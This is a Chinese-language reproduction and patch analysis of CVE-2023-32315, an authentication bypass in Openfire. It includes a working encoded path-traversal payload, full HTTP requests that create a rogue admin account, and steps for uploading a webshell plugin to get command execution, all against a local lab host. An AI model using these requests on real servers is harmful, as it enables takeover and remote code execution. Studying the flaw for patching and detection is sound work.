CVE-2023-32315到RCE漏洞复现分析

简介

Openfire是一个基于XMPP协议的即时通讯服务器,也称之为即时通讯平台。在即时通讯中往往因为需要保存一些状态或者数据所以不能采用点对点通讯,而是需要搭建服务器来转发。Openfire的管理页面包含5个菜单选项,分别是服务器基本信息配置选项、用户组管理选项、会话管理选项、分组聊天选项和插件选项。

影响版本

3.10.0\<= Openfire \<4.6.8

4.7.0\<=Openfire \<4.7.5

Openfire搭建

下载地址

https://github.com/igniterealtime/Openfire/releases/download/v4.7.3/openfire_4_7_3_x64.exe

本地安装好jdk,windwos版本直接安装

wKg0C2SSUtKAOLH1AABcmqsNOWA575.png

下一步到最后完成安装

wKg0C2SSUvGAQmGWAABYUBjiYo465.png

启动服务端

wKg0C2SSUwOAakqqAAAzFxCGsyE954.png

访问

http://localhost:9090

wKg0C2SSUxCAOGKUAABZz5S60i8060.png

为了复现没必要安装外联数据库

wKg0C2SSUxAPa0AABNIhWlZ2w308.png

安装完成后,管理界面

http://localhost:9090/login.jsp

wKg0C2SSUyyAfJwdAABIMLhwDiE084.png

漏洞复现

payload:

/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp

wKg0C2SSUz2AALa7AAHtwMvrGnU292.png

第一步构造‘poc

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jsp HTTP/1.1
Host: 192.168.0.105:9090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.105:9090/user-summary.jsp
Connection: close
Upgrade-Insecure-Requests: 1

wKg0C2SSU1iAZTI1AADPzlmstrw128.png

获取到cookie,第二步构造用户

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=eLn7fgybS8C4SNC&username=aaadmin&name=aaadmin&email=&password=1qaz2wsx&passwordConfirm=1qaz2wsx&isadmin=on&create=%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7 HTTP/1.1
Host: 192.168.0.105:9090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.105:9090/user-summary.jsp
Connection: close
Cookie: JSESSIONID=node0xglgmlc1v8s71iojn4ob0crsb9.node0; csrf=eLn7fgybS8C4SNC
Upgrade-Insecure-Requests: 1

wKg0C2SSU3mARB0hAAC8yau3rlw476.png 使用aaadmin/1qaz2wsx登录

wKg0C2SSU5OABaKSAACWVRzKoRg690.png

且在poc中设置用户为管理员用户

wKg0C2SSU6WALHqHAACURHmBpBE987.png

当然这里利用网上师傅写好的go工具可一键利用,这中利用产生点跟通达OA老洞类似。

RCE

根据目前已经披露的利用方法分为两步,这里的RCE是在属于后渗透的利用,根据创建的用户利用插件功能上传webshell

插件下载地址

https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass/releases/tag/v0.1

wKg0C2SSU7WAeMKIAABhTkxlVoY041.png

插件上传成功

wKg0C2SSU8SAACbiAAB2ZQUYVWM537.png

这里密码为123,进入服务器-》服务器设置-》shellplugin,输入密码

wKg0C2SSU9KAbWAqAABUWbGWrU442.png

通过该jar包实现RCE

wKg0C2SSU96AHAwyAABHcOlRD04158.png

可对文件操作,执行系统命令

wKg0C2SSUuAbfaAABZYZMV9E4095.png

wKg0C2SSUaANXbMAABI30xdCYo920.png

漏洞分析

这里对比一下4.7.5版本和4.7.4版本的区别

wKg0C2SSVBCAMvQEAAB7qQF5bw505.png

从未授权的位置看xmppserver/src/main/java/org/jivesoftware/admin/AuthCheckFilter.java代码中对于身份权限增加了校验

wKg0C2SSVB6AadtpAAAw7kCgbio789.png

在配置文件xmppserver/src/main/webapp/WEB-INF/web.xml

wKg0C2SSVCuADFDEAACESRTLIkU804.png

查看到对excludes的值的定义,payload的的构造是满足158行的内容

wKg0C2SSVD2AVWhwAABUr7iBy7U223.png

当构造../../的时候是满足159行的if条件,但是在payload中对该内容做了utf8的编码,所以绕过了161行的if判断,导致了未授权的产生,使之能够绕过权限校验。

所以在4.7.5的版本中也增加对utf8的解码

wKg0C2SSVEuAc8FnAABIWEMuTh4498.png

参考链接

https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass

免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。查看原文

为您推荐